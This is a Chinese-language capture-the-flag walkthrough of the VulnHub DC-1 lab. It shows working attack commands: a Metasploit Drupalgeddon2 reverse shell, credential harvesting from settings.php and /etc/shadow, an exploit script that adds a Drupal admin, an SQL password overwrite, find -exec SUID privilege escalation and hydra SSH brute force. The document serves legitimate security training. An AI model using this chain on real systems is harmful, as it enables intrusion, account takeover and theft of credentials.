靶机DC-1下载地址:https://download.vulnhub.com/dc/DC-1.zip
描述:靶机DC-1共有5个flag,并且需要root权限才可以找到并查看flag
环境:Vmware 15 Pro虚拟机软件
DC-1靶机IP地址:192.168.220.130
Kali的IP地址:192.168.220.131
本次DC-1靶机渗透测试,靶机与kali都以NAT模式连接网络,查看kali的IP地址:
ip addr
使用nmap扫描工具,扫描192.168.220.0/24网段,发现存活主机,断定192.168.220.130是DC-1靶机的IP地址
nmap -sP 192.168.220.0/24 -oN nmap220.sP
nmap扫描靶机开放的端口号,扫描范围0-65535,发现开放22(ssh)、80(http)、111和57744共四个端口
nmap -A 192.168.220.130 -p- -oN nmap130.A
浏览器输入DC-1靶机IP地址访问网站:http://192.168.220.130
发现网站是用Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本
使用msfconsole查找可以针对Drupal的模块
msf > search drupal #查找可用于Drupal的模块
尝试使用查询出来的模块,从一个开始尝试使用,发现只有三、五两个模块可以针对Drupal 使用,并能够成功反弹shell,其他模块皆失败
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.220.130
msf exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
反弹shell后,使用ls命令可以查看在当前/var/www目录下存在flag1.txt
查看flag1.txt文本文件
cat flag1.txt
Flag1:
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件-你也是。
查找后发现CMS的配置文件是网站根目录下的/site/defaultx下的setting.php文件
meterpreter > cd sites/default
meterpreter > cat settings.php
查看setting.php配置文件,发现flag2及网站数据库及登录用户名和密码,且flag2提示不要使用字典暴力破解密码,应使用其他方法,通过数据库应该是另外一种方法
Flag2:
Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?
暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。你能用这些证件做什么?
数据库信息:
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
使用mysql命令登录,发现MySQL命令无效
meterpreter > mysql -udbuser -pR0ck3t
输入shell,切换外壳,再次登录mysql发现终端不能正常回显信息
meterpreter > shell
mysql -udbuser -pR0ck3t
再次进入shell下,输入python命令,发现靶机已安装python 2.7.3,通过pty.spawn()获得交互式shell
meterpreter > shell
python -V
python -c 'import pty; pty.spawn("/bin/bash")'
使用上面找到mysql登录用户名和密码登录mysql数据库:
mysql -udbuser -pR0ck3t #登录MySQL数据库
mysql> show databases; #查看数据库
mysql> use drupaldb; #使用drupaldb数据库
mysql> show tables; #查看数据库内的表
找到users表,断定和用户密码有关
mysql> select * from users; #查看users表内容
name:admin pass:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
找到可用于登录的用户admin和密码密文
方法一:
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码,更直接
查看Drupal版本,确定Drupal版本为7.24
cat /var/www/includes/bootstrap.inc | grep VERSION
msf > searchsploit drupal #查找针对Drupal的攻击脚本
攻击脚本适用于7.31以下,所以适合7.24版本
利用drupal7.0版本漏洞增加有admin权限的用户:admin1/admin1
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.220.130 -u admin1 -p admin1
查看users表,添加admin1成功
使用新添加的用户admin1/admin1登录网站,在content模块下,找到flag3
方法二:
使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下
使用加密脚本加密新密码123456,生成加密密文
./scripts/password-hash.sh 123456
password: 123456
hash: $S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY
修改admin用户的密码,更新为新密码:123456
update drupaldb.users set pass="$S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY" where uid=1;
使用用户admin/123456登录网站,在content模块下,找到flag3
Flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
Flag3提示词有perms、find、-exec、shadow共四个特殊提示词
应该要查看shadow文件,并使用find命令提权
使用find命令查找有特殊权限suid的命令
find / -perm -4000
使用find命令提权
find ./ aaa -exec '/bin/sh' \;
查看/etc/shadow 文件,发现flag4用户,并且flag4用户可以登录并且有密码,所以存在flag4的家目录
cat /etc/shadow
flag4用户密码可以使用ssh登录进行爆破,如下:
注:爆破flag4用户密码可以省略,可以在root提权后直接进入flag4家目录
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包
tar -xvf john-1.8.0.tar.gz #解压缩
cd john-1.8.0/ src #进入源码目录下
uname -a #查看当前系统版本
make linux-x86-64 #编译并指定当前的Linux系统版本
使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange
hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.220.130 -f -vV -o hydraflag4.ssh
login: flag4 password: orange
使用flag4用户可以通过ssh登录系统
ssh [email protected]
密码:orange
进入flag4用户的家目录/home/flag4,找到flag4.txt文本文件,找到flag4
cd /home/flag4
cat flag4.txt
Flag4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
你能用同样的方法来查找或访问根目录中的标志吗?
可能。但也许不是那么容易。或许是这样?
在flag4中提示在root根目录下存在,进入到root家目录/root下找到thefinalflag.txt文本文件
cd /root
cat thefinalflag.txt
thefinalflag:
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
做得好!!!!!
希望你喜欢这个并学到了一些新的技能。
你可以让我知道你对这次小旅行的看法。
通过Twitter联系我-@dcau7
五个flag全部找到,并学习到使用msfconsole框架,及使用find命令找suid和提权